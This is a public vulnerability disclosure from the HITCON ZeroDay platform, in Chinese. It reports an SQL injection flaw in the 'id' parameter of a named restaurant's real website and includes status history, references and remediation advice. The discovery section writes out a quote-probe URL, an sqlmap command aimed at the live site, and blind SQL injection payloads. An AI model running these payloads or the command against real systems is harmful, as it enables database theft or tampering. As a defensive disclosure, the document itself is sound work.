Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00976
- Vendor: 富狀元豬腳
- Title: 富狀元豬腳 id 參數存在 SQL Injection 漏洞
- Introduction: id 參數存在 SQL Injection 漏洞
處理狀態
目前狀態
公開
Last Update : 2025/10/15
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/08/15 17:48:01 : 新提交 (由 YoFat 更新此狀態)
- 2025/08/19 16:55:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:01:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:01:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:01:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/15 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00976
- 通報者:yofatyozi (YoFat)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.fu-deka.com/product.php?id=
敘述
漏洞種類
SQL Injection
漏洞方式
- 在id 參數後面加上單引號 https://www.fu-deka.com/menu_view.php?id=39%27 ,發現了 sql 查詢參數
- 透過 sqlmap 測試可用的注入方式 sqlmap -u "http://www.fu-deka.com/product.php?id=39" --batch
- 最後偵測出以下注入方式
- Boolean-based blind(payload: id=39' AND 8109=8109#)
- Time-based blind(payload: id=39' AND SLEEP(5)#)
影響
- 可藉由該漏洞抽取、竄改或破壞網站資料庫
- 已可證明資料可被自動化工具(SQLMap)成功利用
- 所有資料皆有洩漏風險
修補建議
1. 後端 SQL 查詢必須採用參數化查詢(PreparedStatement),完全避免 SQL 拼接
2. 移除所有動態拼接用戶輸入內容的 SQL 行為
3. 部署 WAF 攔截注入行為
4. 盡快檢查程式碼全域是否其他入口亦有類似問題
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。